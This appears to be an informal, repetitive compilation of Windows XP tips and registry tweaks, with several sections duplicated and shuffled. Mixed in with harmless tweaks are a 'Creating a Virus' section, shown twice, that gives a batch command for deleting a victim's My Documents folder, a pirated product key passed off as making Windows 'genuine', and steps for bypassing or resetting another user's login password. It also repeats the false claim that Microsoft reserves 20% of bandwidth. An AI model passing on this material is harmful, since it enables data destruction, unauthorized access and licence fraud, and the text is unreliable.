If you don't want MSN Messanger to start at startup simply logon to your accout and go to tools --> options to disable it. If you don't have an account, as it won't let you change the options without first logoning on to an account. Click on the Start Button --> run and type in "regedit", then go to,
HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run
Delete the key that says,
MSMSGS - REG_SZ - "C:\Program Files\Messenger\msmsgs.exe" /background
CREATING A VIRUS
HERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.HERE'S WHAT U SHOULD DO.
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.I MEAN SAVE IT LIKE MYVIRUS.BAT.IT SHOULD HAVE THE ENDING AS .BAT.NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.
rmdir C:\Documents and Settings \S\Q.
How to Hide the drives(c:,d:,e:,a:...etc) in My Computer
This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.
1.Go to start->run.Type regedit.Now go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....
Create a password reset disk
Here's an important tip… If you are using a password protected user account in Windows XP (and you really, really should be ) you might be nervous about forgetting your password. Well here's a way to put your mind at ease, at least a little bit. Windows XP allows users to create a password reset disk specific to their user account. This disk can be used at the welcome screen to reset your password in the event that you do forget it.
To create the disk: Go to start\control panel\user accounts. Select the account you are currently logged in as.
Under the 'related tasks' heading in the top left corner, click 'prevent a forgotten password' to open the forgotten password wizard. Insert a blank floppy disk and follow the instructions to create your password reset disk.
To use the password reset disk in case of emergency:
Once you have created a password reset disk for a specific user, the next time the password for that user is entered incorrectly at the welcome screen, a message will pop up asking if you have forgotten your password. At this point you can elect to use your password reset disk. Follow the instructions to reset your password.
Note: There are a couple of possible problems with the above procedure. For one, if you have used Windows XP's built in encryption feature to encrypt some of your files and folders, but have not yet updated to service pack 1, do not reset your password, as you will lose access to all the encrypted data. Once you have got service pack 1, it is safe to use the disk. Also, you cannot gain access to the reset feature if you have disabled the welcome screen on XP by using tip #31 above.
Keep your reset disk in a safe location, because anyone else can also use it to reset your password....
If your system has failed to the point where you cannot access the Windows GUI either through booting normally or through safe mode, you may still have the chance to use the System Restore feature if you have it enabled, by running it form the command prompt. To do this:
Restart your computer and press F8 after the POST screen to bring up the Windows XP boot menu. Choose 'boot in safe mode with command prompt.'
If your system gets to the command prompt successfully, type '%systemroot%\system32\restore\rstrui.exe' and then press enter. Follow the onscreen instructions to restore your computer to a previous saved point.
Set monitor refresh rate
Every monitor has a maximum refresh rate it is capable of displaying at a given resolution (for example, a typical 17-inch monitor of a few years ago will happily crank out 85Hz or more at a resolution of 800x600, but may only be capable of 60Hz at 1600x1200).
If this refresh rate is exceeded, the image will be distorted and unusable.
Older CRT monitors, especially 15-inch or smaller ones, tend not to be capable of a refresh rate much over 60Hz, especially at resolutions greater than 640X480. Also, setting the refresh rate does not have the same effect on LCD or flat panel monitors, as their screens are not redrawn in the same way.
To change your monitor refresh rate: Right click on an empty space on your desktop (no icons) and select 'properties.' Click the 'settings' tab and choose the 'advanced' button. Now choose the 'adaptor' tab and click the 'show all modes' button.
This presents you with a list of resolution, colour and refresh rate options that your video card\monitor combination is capable of displaying. You can experiment with these settings by using the 'apply' button. Note that a refresh rate of 75Hz or above is generally recommended, (keep in mind most monitors do not support settings higher than 85Hz).
After you set the refresh rate, you may feel a little uncomfortable for a short while as your eyes adjust, but rest assured you will grow to appreciate the difference in ease of viewing
Automatically close non-responsive programs
With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually.
To do this:
Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop
Modify the REG_SZ entry AutoEndTasks with a value of 1
Please Go Through All The Topics
INDEX:-
00)MAKING WINDOWS XP GENUINE THE EASY WAY
01)Creating a desktop shortcut for locking your computer
02)Deleting System Softwares
03)Creating Shutdown Icon or One Click Shutdown
04)Modify autoplay for different types of CD
05)Renaming The Recycle Bin icon
06)Locking the desktop
07)Removing Shared Documents folder From My Computer
08)Force windows XP to reboot upon crashing
09)Making Google the Default Search Engine in Interne
10)Increasing Band-Width By 20%:
11)Customize Logon prompt with your Own Words:
12)To change Drive Letters:
13)Removing the Shortcut arrow from Desktop Icons:
14)Hiding shared folders with $
15)Improving the Slow Boot up time:
16)Customize Internet Explorer's Title Bar:
17)Removing the Recycle Bin from the Desktop:
18)Adding Administrative Tools Icon To The Desktop:
19)Using advanced file security settings in Windows
20)Creating The Suspend Shortcut:
21)Disable the Disk performance counter(s)
22)Modify Color Selection of Default Theme
23)Removing Multiple Boot Screens
24)Extremely Fast BootUp
25)To Increase the Internet Speed:
26)Renaming The Start Button:
27)Disabling Unnecessary Programs At Startup:
28)To convert a FAT partition to NTFS:
29)Breaking The XP Password:
30)Automatically run programs when starting Windows
31)Hosting online games through the Windows XP firewall
32)Quick Back And Forward Commands In Ie Using Keyboard
33)Disabling Msn Messanger At Startup
34)Creating A Virus
35)How to Hide the drives(c:,d:,e:,a:...etc) in My Co
36)Create a password reset disk
37)Use system restore when you cannot boot your syste
38)Set monitor refresh rate
39)Automatically close non-responsive programs
MAKING WINDOWS XP GENUINE THE EASY WAY
download jellybean keyfinder from this website
http://www.magicaljellybean.com/keyfinder.shtml
Now open keyfinder.exe
Click on options and click "change windows key"
Now enter this key and you're done.
*****************************
V2C47-MK7JD-3R89F-D2KXW-VPK3J
*****************************
P.S: this works on windows xp sp2 only......
ppl u can try this out...
this might sound silly but it works perfectly..
Creating a desktop shortcut for locking your computer
If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:
Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'
You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.
In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.
it is usegul if u have an account as it will prompt 4 a password.
Deleting System Softwares
XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.
Creating Shutdown Icon or One Click Shutdown:
Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.
Use this path in "Type Location of the Item"
SHUTDOWN -s -t 01
If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.
Modify autoplay for different types of CD
Windows XP includes the ability to perform different actions depending on the type of CD you insert into the drive. For example, you could set your system to always respond to CDs containing MP3 files by opening Windows Media Player.
To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to set and select 'properties.' Choose the autoplay tab. Use the dropdown box to see the various recognized types of CD and choose appropriate actions for them.
Renaming The Recycle Bin icon:
To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:
HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}
and change the name "Recycle Bin" to whatever you want (don't type any quotes).
Locking the desktop
If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option.
By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.
Removing Shared Documents folder From My Computer
Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to key
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders
You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.
Force windows XP to reboot upon crashing
This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7:
Open REGEDIT
Navigate to 'HKEY_LOCAL_MACHINE\SYSTEM
\CurrentControlSet\Control\CrashControl'
Edit the 'AutoReboot' value to '1'
Increasing Band-Width By 20%:
Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc
To get it back:
Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:
Local Computer Policy then Computer Configuration then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.
Customize Logon prompt with your Own Words:
Open Registry by going to Start then Run, entering regedit and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]. In right pane, look for key by the name "LogonPrompt". Set its value to whatever text you want to see displayed at login screen.
To change Drive Letters:
Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management, then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths."
From here you can add, remove or change drive letters and paths to the partition
Removing the Shortcut arrow from Desktop Icons:
Goto Start then Run and Enter regedit. Navigate to HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may need to restart Windows XP.
Hiding shared folders with $
If you would like to share a folder so that users on your network can access it easily, but are worried about displaying the folder for anyone to browse through, there is an easy way to render a shared folder invisible but still accessible.
From the shared folder dialog: (right click on desired folder\sharing and security\). You can hide a shared folder by simply adding a '$' to the end of the name you give the folder in the 'sharing and security' window. In this way, you can maintain network access to shared folders, while hiding them from prying eyes.
To browse to a hidden shared folder from another computer, simply click 'start/run' then type \\(name of the computer the share is on)\(sharename$) and press enter.
Improving the Slow Boot up time:
There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility. Go to Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck application(s) that you do not want to startup at boot time.
Customize Internet Explorer's Title Bar:
Open Registry by going to Start then Run and Enter regedit. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel look for string "Window Title" and change its value to whatever custom text you want to see.
Removing the Recycle Bin from the Desktop:
If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together. Run Regedit and go to:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace
Adding Administrative Tools Icon To The Desktop:
Open Registry Editor. In Registry Editor, navigate to the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B-0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is no need to reboot. Just wait a few seconds and see how the icon appears.
Using advanced file security settings in Windows
Windows XP is based on the same platform as Windows 2000, and shares that operating system's robust file security options, at least when using the NTFS file system. Unfortunately this security system, which enables an administrator to decide exactly which files and programs any given user will have access to, is not actually implemented by default in Windows XP. This is a concession Microsoft made to avoid confusing basic users of XP Pro, and to cripple XP Home.
The NTFS file security options can be enabled easily enough in XP Pro, but are apparently non-existent in the Home version. Fact is, the tools are there, you just need to look a little bit harder.
To enable NTFS file security in Windows XP Home: First you need to assure that at least your main hard drive is formatted with the NTFS file system. See tip #61 for instructions on this. Restart your system. Just after the memory and BIOS check screen, but before the Windows splash screen comes up, press F8 a few times.
When the Windows boot menu appears, select 'safe mode' from the list of options.
Once Windows has loaded in safe mode, right click the folders and files you would like to change access to. You will notice that the 'security' tab now exists, and thus you are allowed to assign or deny access to individual users for each file, folder and program. Once you are done, restart Windows normally, and your changes will be enforced.
Creating The Suspend Shortcut:
Right click on the Desktop .New / Shortcut. Enter in rundll32.exe PowrProf.dll, SetSuspendState . Give it whatever name you want. Now when you click on that shortcut, your computer will shutdown and suspend.
Disable the Disk performance counter(s)
Windows XP contains a built in performance monitor that is constantly examining various areas of your system. This information can be called up using the performance monitor application found in control panel\administrative tools. Of course, most of us have little interest in this sort of performance statistics monitoring, that being more the territory of systems administrators than individual users.
The thing is, XP is still monitoring away, and some of its observation tools can use a considerable amount of resources. The disk monitoring is an example of this, and it's a good idea to turn the disk monitors off if you are not planning to use the performance monitor application.
To do this: Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N'
Alternate Method
Win XP comes with many inbuilt performance monitoring applications that constantly examine various parts of the system. This information can be of real use to a system administrator for collecting performance statistics. However, for a home user, these statistics hold no value and since the monitoring happens all the time, it consumes a good deal of system resources. “Disk monitoring”, for example, happens in the background, and turning it off is advisable if you will not be using the performance monitoring applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the command prompt: go to Start>Run, type in “cmd” and press [Enter].
Modify Color Selection of Default Theme:
Open registry by going to Start then Run. Entering regedit, navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeManager] and locate the key "ColorName".
Right Click on it and select modify its value from "NormalColor" to "Metallic"
Click Ok, and exit regedit and restart your computer.
Removing Multiple Boot Screens:
If you are getting unwanted multiple boot screen
Then Follow these Steps.
1> Right Click on My Computer
2>Select Properties
3>Select Advanced Tab
4>Select Settings In the Startup & Recovery Section(3rd grp)
5>Select the operating system which u want.
6>And Click OK.
7>Further again press the setting and click on Edit.
8>It will open boot.ini File.
9>Now u can delete those o/s which you don't want to be displayed.
Note: For deleting operating systems from boot.ini file, keep it mind that you can't
delete that o/s which is selected by default there. Before
making any changes make a copy of boot.ini file.
EXTREMELY FAST BOOTUP
The trick is Enabling Hibernation:
Go to diplay properties>screen savers>power>hibernate. Check 'Enable Hibernation'. Press shift button after you click 'Turn Off Computer' in start menu.
To Increase the Internet Speed:
Open Notepad and paste the below code in it.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"SackOpts"=dword:00000001
"TcpWindowSize"=dword:0005ae4c
"Tcp1323Opts"=dword:00000003
"DefaultTTL"=dword:00000040
"EnablePMTUBHDetect"=dword:00000000
"EnablePMTUDiscovery"=dword:00000001
"GlobalMaxTcpWindowSize"=dword:0005ae4c
Now save this file as speed.reg. Execute it and observe the change!
Renaming The Start Button:
To rename the start button, you will need a hex editor.
My preference is UltraEdit
Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe)
With the hex editor, open that file and go to offset 412b6
You will see the word start with blanks between each letter
Edit it be any 5 characters or less
Save the file
Boot to DOS
Copy the existing c:\windows\explorer.exe to explorer.org
Copy explorer_1.exe to explorer.exe
You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one.
Note: If the partition is NTFS and you can't access the files from DOS:
Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon.
Change the value of Shell from Explorer.exe to explorer_1.exe
Disabling Unnecessary Programs At Startup:
Many programs add portions of themselves starting automatically on every login.This can be either in the Startup Folder or the Registry. One easy way to tell is by looking at how many icons are in your system tray. If you have a large number, perhaps unnecessary resources are being allocated them as well as increasing your boot time. Typical examples are Microsoft Office, Office FindFast, Real Player, ATI Video setting etc. You can remove them in one of three main ways:
In the Start / Programs / Startup Folder
In the Registry under HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run
To convert a FAT partition to NTFS:
Click Start, click Programs, and then click Command Prompt.
In Windows XP, click Start, click Run, type cmd and then click OK.
At the command prompt, type CONVERT [driveletter]: /FS:NTFS.
Convert.exe will attempt to convert the partition to NTFS.
NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).
Breaking The XP Password:
In case of user password boot the pc in safemode by pressing the F8 key and then selecting the Safe Mode option. You can now logon as an administrator and XP wont prompt for the password. Incase of an administrator account try rebooting the pc in DOS. access C:\Windows\system32\config\sam . Rename SAM as SAM.mj
Now XP wont ask for password next time You Login. Also
Go to the cmd prompt .
Type net user *.
It will list all the users.
Again type net user "administrator" or the name of the administrator "name" *.
e.g.: net user aaaaaa *(where aaaaaa is the name).
It will ask for the password.
Type the password and there you are done.
Logging In As Administrator:
Hold the Ctrl-Alt key and press Del twice. This will bring up the normal login and you can log on as Administrator.
To unhide the Administrator account so it does show up:
Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList
Unhide the Administrator key by giving it a value of 1
Automatically run programs when starting Windows
If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around.
Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\ (your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be run automatically when Windows XP starts up.
If you already have shortcuts for the programs you desire to use, copy and paste them into the startup folder. Otherwise, go to 'start\programs,' select the program you would like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will create a shortcut on the desktop that you can then use.
Hosting online games through the Windows XP firewall
If you are using the Windows XP firewall and you wish to host an online game such as Quake 3, or other applications that require users on the Internet to contact your computer directly, you will need to customize your firewall slightly to allow these specific communications through. Fortunately the XP firewall makes these changes fairly easy to do.
To customize your firewall: Go to 'start\control panel\network connections'. Right click on the network connection that has the firewall enabled and go to 'properties.' Choose the 'settings' button at the bottom. On the 'services' tab, click the 'add' button.
This window will add the application that you are using to the firewall's list of data that is allowed into your computer.
You will need to find out the port that your application uses. This information should be available from the documentation or from the software manufacturer's website.
Input a description for your convenience, then the computer name or IP address of the computer that is hosting the program, then put the port number that the program uses. Note that as long as the program is running on the computer that uses the XP firewall, the internal and external port will be the same.
Click 'ok' to apply the rule. Your firewall will now allow connections through the port you specified.
Quick Back And Forward Commands In Ie Using Keyboard
HOLD THE SHIFT KEY AND SCROLL THE PAGES OF IE TO GO FORWARD AND BACKWARD.
Disabling Msn Messanger At Startup
To Disable Messenger MSN from running go to the start menu and select RUN. In the window that appears type regedit The Registry editor will now have opened. Navigate to the following Key:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft
Now create a new key by selecting Edit from the main menu bar. Now select New then Key.
Name this new Key: Messenger
Now select the newly created Messenger Key and create another new Key. Only this time we are going to name it: Client
Next we have to create a DWORD value. So Right Click the new Client Key and select New then DWORD.
Name the DWORD PreventRun
Now we need to give it a Data Value of 1
Now restart Windows XP and you will have successfully Disabled Messenger MSN
alternate method of disabling windows messenger
If you don't want MSN Messanger to start at startup simply logon to your accout and go to tools --> options to disable it. If you don't have an account, as it won't let you change the options without first logoning on to an account. Click on the Start Button --> run and type in "regedit", then go to,
HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run
Delete the key that says,
MSMSGS - REG_SZ - "C:\Program Files\Messenger\msmsgs.exe" /background
CREATING A VIRUS
HERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.HERE'S WHAT U SHOULD DO.
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.I MEAN SAVE IT LIKE MYVIRUS.BAT.IT SHOULD HAVE THE ENDING AS .BAT.NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.
rmdir C:\Documents and Settings \S\Q.
How to Hide the drives(c:,d:,e:,a:...etc) in My Computer
This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.
1.Go to start->run.Type regedit.Now go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....
Create a password reset disk
Here's an important tip… If you are using a password protected user account in Windows XP (and you really, really should be ) you might be nervous about forgetting your password. Well here's a way to put your mind at ease, at least a little bit. Windows XP allows users to create a password reset disk specific to their user account. This disk can be used at the welcome screen to reset your password in the event that you do forget it.
To create the disk: Go to start\control panel\user accounts. Select the account you are currently logged in as.
Under the 'related tasks' heading in the top left corner, click 'prevent a forgotten password' to open the forgotten password wizard. Insert a blank floppy disk and follow the instructions to create your password reset disk.
To use the password reset disk in case of emergency:
Once you have created a password reset disk for a specific user, the next time the password for that user is entered incorrectly at the welcome screen, a message will pop up asking if you have forgotten your password. At this point you can elect to use your password reset disk. Follow the instructions to reset your password.
Note: There are a couple of possible problems with the above procedure. For one, if you have used Windows XP's built in encryption feature to encrypt some of your files and folders, but have not yet updated to service pack 1, do not reset your password, as you will lose access to all the encrypted data. Once you have got service pack 1, it is safe to use the disk. Also, you cannot gain access to the reset feature if you have disabled the welcome screen on XP by using tip #31 above.
Keep your reset disk in a safe location, because anyone else can also use it to reset your password....
Use system restore when you cannot boot your system
If your system has failed to the point where you cannot access the Windows GUI either through booting normally or through safe mode, you may still have the chance to use the System Restore feature if you have it enabled, by running it form the command prompt. To do this:
Restart your computer and press F8 after the POST screen to bring up the Windows XP boot menu. Choose 'boot in safe mode with command prompt.'
If your system gets to the command prompt successfully, type '%systemroot%\system32\restore\rstrui.exe' and then press enter. Follow the onscreen instructions to restore your computer to a previous saved point.
Set monitor refresh rate
Every monitor has a maximum refresh rate it is capable of displaying at a given resolution (for example, a typical 17-inch monitor of a few years ago will happily crank out 85Hz or more at a resolution of 800x600, but may only be capable of 60Hz at 1600x1200).
If this refresh rate is exceeded, the image will be distorted and unusable.
Older CRT monitors, especially 15-inch or smaller ones, tend not to be capable of a refresh rate much over 60Hz, especially at resolutions greater than 640X480. Also, setting the refresh rate does not have the same effect on LCD or flat panel monitors, as their screens are not redrawn in the same way.
To change your monitor refresh rate: Right click on an empty space on your desktop (no icons) and select 'properties.' Click the 'settings' tab and choose the 'advanced' button. Now choose the 'adaptor' tab and click the 'show all modes' button.
This presents you with a list of resolution, colour and refresh rate options that your video card\monitor combination is capable of displaying. You can experiment with these settings by using the 'apply' button. Note that a refresh rate of 75Hz or above is generally recommended, (keep in mind most monitors do not support settings higher than 85Hz).
After you set the refresh rate, you may feel a little uncomfortable for a short while as your eyes adjust, but rest assured you will grow to appreciate the difference in ease of viewing
Automatically close non-responsive programs
With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually.
To do this:
Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop
Modify the REG_SZ entry AutoEndTasks with a value of 1
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